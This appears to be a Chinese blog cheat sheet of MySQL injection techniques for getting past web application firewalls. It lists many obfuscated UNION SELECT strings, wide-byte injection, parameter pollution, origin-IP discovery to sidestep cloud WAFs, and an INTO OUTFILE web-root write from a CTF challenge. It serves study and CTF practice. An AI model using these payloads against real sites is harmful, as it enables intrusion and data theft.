MySQL绕过

1.空格

  • 通过fuzz或延时来辅助判断

    • select * from news where id=(select*from(select(sleep(5)))a)#
      

(1)两个空格代替一个空格,用Tab代替空格,%a0=空格

  • %20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
    select/**/1,2   #/*注释*/
    /*!select*/1,2    #/*!这里的语句可以执行*/
    

(2)用回车代替

  • ascii码为chr(13)&chr(10),url编码为%0d%0a

(3)括号:

  • 在MySQL中,括号是用来包围子查询的。

    • 因此,任何可以计算出结果的语句,都可以用括号包围起来。
    • 而括号的两端,可以没有多余的空格。
  • select(user())from dual where(1=1)and(2=2)
    ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
    

(4)反引号 `` 包住表名

  • select * from tb1;
    

(5)浮点数:

  • select * from users where id=8E0union select 1,2,3
    select * from users where id=8.0union select 1,2,3
    

2.引号

  • 十六进制

  • select column_name  from information_schema.tables where table_name="users"
    select column_name  from information_schema.tables where table_name=0x7573657273
    

3.逗号

(1)简单注入可以使用join方法绕过

  • 原语句:

    • union select 1,2,3
      
  • join语句:

-   ```
    union select * from (select 1)a join (select 2)b join (select 3)
    ```

(2)对于盲注的那几个函数substr(),mid(),limit

  • substrmid()可以使用from for的方法解决

    • substr(str from pos for len)  #在str中从第pos位截取len长的字符
      mid(str from pos for len)   #在str中从第pos位截取len长的字符
      
  • mid()使用like

-   ```
    select ascii(mid(user(),1,1))=80   #等价于
    select user() like 'r%'
    ```
  • limit可以用offset的方法绕过

    • select * from news limit 1,2
      select * from news limit 1 offset 0
      

4.比较符号(<>)

(1)greatest(n1,n2,n3,...)

  • 返回其中的最大值

(2)strcmp(str1,str2)

  • 当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

(3)in 操作符

(4)between and

  • 选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

  • 使用greatest()least():(前者返回最大值,后者返回最小值)

  • 同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。

  • 如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

  • 最常见的一个盲注的sql语句:

    • select * from users where id=1 and ascii(substr(database(),0,1))>64
      
  • 此时如果比较操作符被过滤,上面的盲注语句则无法使用

    • 那么就可以使用greatest来代替比较操作符了。
    • greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
  • 那么上面的这条sql语句可以使用greatest变为如下的子句:

    • select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
      

5.or and xor not

  • and=&&  or=||   xor=|   not=!
    

6.注释符 # (-- ) (--+)

  • id=1' union select 1,2,3||'1
    

7.等号(=)、关键词(如flag)被过滤

  • 使用likerlik regexp 或者 使用< 或者 >

    • select * from tb1 where name like'fl%'; # %表示0个或多个字符,_表示1个字符
      select * from tb1 where name regexp'{'; #正则
      select * from tb1 where name regexp('{');
      

8.union,select,where

  • #WAF Bypassing Strings:
    	/*!%55NiOn*/ /*!%53eLEct*/
     	%55nion(%53elect 1,2,3)-- -
     	+union+distinct+select+
     	+union+distinctROW+select+
     	/**//*!12345UNION SELECT*//**/
     	/**//*!50000UNION SELECT*//**/
     	/**/UNION/**//*!50000SELECT*//**/
     	/*!50000UniON SeLeCt*/
     	union /*!50000%53elect*/
     	+#uNiOn+#sEleCt
     	+#1q%0AuNiOn all#qa%0A#%0AsEleCt
     	/*!%55NiOn*/ /*!%53eLEct*/
     	/*!u%6eion*/ /*!se%6cect*/
     	+un/**/ion+se/**/lect
     	uni%0bon+se%0blect
     	%2f**%2funion%2f**%2fselect
     	union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
     	REVERSE(noinu)+REVERSE(tceles)
     	/*--*/union/*--*/select/*--*/
     	union (/*!/**/ SeleCT */ 1,2,3)
     	/*!union*/+/*!select*/
     	union+/*!select*/
     	/**/union/**/select/**/
     	/**/uNIon/**/sEleCt/**/
     	/**//*!union*//**//*!select*//**/
     	/*!uNIOn*/ /*!SelECt*/
     	+union+distinct+select+
     	+union+distinctROW+select+
     	+UnIOn%0d%0aSeleCt%0d%0a
     	UNION/*&test=1*/SELECT/*&pwn=2*/
     	un?+un/**/ion+se/**/lect+
     	+UNunionION+SEselectLECT+
     	+uni%0bon+se%0blect+
     	%252f%252a*/union%252f%252a /select%252f%252a*/
     	/%2A%2A/union/%2A%2A/select/%2A%2A/
     	%2f**%2funion%2f**%2fselect%2f**%2f
     	union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
     	/*!UnIoN*/SeLecT+
    
    #Union Select by PASS with Url Encoded Method:
    	%55nion(%53elect)
    	union%20distinct%20select
       	union%20%64istinctRO%57%20select
       	union%2053elect
       	%23?%0auion%20?%23?%0aselect
       	%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
       	%55nion %53eLEct
       	u%6eion se%6cect
       	unio%6e %73elect
       	unio%6e%20%64istinc%74%20%73elect
       	uni%6fn distinct%52OW s%65lect
       	%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
    

(1)使用注释符绕过

  • 常用注释符:

    • //,-- , /**/, #, --+, -- -, ;,%00,--a
      
  • 用法:

    • U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
      

(2)使用大小写绕过

  • id=-1'UnIoN/**/SeLeCT
    

(3)内联注释绕过

  • id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
    

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

  • id=-1'UNIunionONSeLselectECT1,2,3–-
    

9.编码

  • 如URLEncode编码,ASCII,HEX,unicode编码绕过:

  • or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
    

10.函数

  • hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    
  • 举例:substring()和substr()无法使用时:

    • ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
      
  • 或者:

    • substr((select 'password'),1,1) = 0x70
      strcmp(left('password',1), 0x69) = 1
      strcmp(left('password',1), 0x70) = 0
      strcmp(left('password',1), 0x71) = -1
      

11.宽字节注入

  • 过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。

  • 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

    • %df 吃掉 \

      • 具体的方法是 urlencode(’) = %5c%27

      • %5c%27 前面添加 %df ,形成 %df%5c%27

      • 而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字

      • %df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

      • id=-1%df%27union select 1,user(),3--+
        
    • 中的\过滤掉

      • 例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
  • 一般产生宽字节注入的PHP函数:

    • replace()
      • 过滤 ’ \ ,将 转化为,将 \ 转为 \,将 " 转为 "
      • 用思路一
    • addslaches()
      • 返回在预定义字符之前添加反斜杠(\)的字符串。
      • 预定义字符:’ , " , \
      • 用思路一
    • (防御此漏洞,要将 mysql_query 设置为 binary 的方式)
  • mysql_real_escape_string()

    • 转义下列字符:

    • \x00     \n     \r     \     '     "     \x1a
      
    • (防御,将mysql设置为gbk即可)

12.多参数请求拆分

  • 对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。

  • 例如请求URL时,GET参数格式如下:

    • a=[input1]&b=[input2]
      
  • 将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。

    • and a=[input1] and b=[input2]
      
  • 这时就可以将注入语句进行拆分,如下所示:

    • a=union/*&b=*/select 1,2,3,4
      
  • 最终将参数a和参数b拼接,得到的SQL语句如下所示:

    • and a=union /*and b=*/select 1,2,3,4
      

13.HTTP参数污染

  • HTTP参数污染是指当同一个参数出现多次,不同的中间件会解析为不同的结果。
  • 具体如下图所示:(以参数color=red&color=blue为例)。

MySQL绕过_sql语句

  • 可见,IIS比较容易利用,可以直接分割带逗号的SQL语句。

    • 在其余的中间件中,如果WAF只检测了通参数名中的第一个或最后一个,

      • 并且中间件的特性正好取与WAF相反的参数,则可成功绕过。
    • 下面以IIS为例,一般的SQL注入语句如下所示:

      • Inject=union select 1,2,3,4
        
  • 将SQL注入语句转换为以下格式。

    • Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
      
  • 最终在IIS中读取的参数值将如下所示

    • Inject=union/*, */select/*, */1,2,3,4
      

14.生僻函数

  • 使用生僻函数替代常见的函数

    • 例如在报错注入中使用polygon()函数替换常用的updatexml()函数

    • select polygon((select * from (select * from (select @@version) f) x));
      

15.寻找网站源IP

  • 对于具有云WAF防护的网站,只要找到网站的IP地址,通过IP访问网站,就可以绕过云WAF检测。
    • 常见的寻找网站IP的方法由以下几种
      • 寻找网站的历史解析记录
      • 多个不同区域ping网站,查看IP解析的结果
      • 找网站的二级域名、NS、MX记录等对应的IP
      • 订阅网站邮件,查看邮件发送方的IP

16.注入参数到cookie中

  • 某些程序员在代码中使用$_REQUEST获取参数,

    • $_REQUEST会依次从GET/POST/cookie中获取参数,
    • 如果WAF只检测了GET/POST而没有检测cookie,则可以将注入语句放入cookie中进行绕过。
  • 输出内容过滤

1.编码

  • hex() to_base64()

2.字符替换

  • replace(str,from_str,to_str)

3.编码+字符替换

  • 例如:
    • replace(to_base64(xxx),from_str,to_str)
    • replace多次套用

4.将查询结果写入文件再读取

  • ctfshow web175

  • 0' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'#
    
posted @ 2023-09-04 22:36  树大招疯  阅读(218)  评论(0)    收藏  举报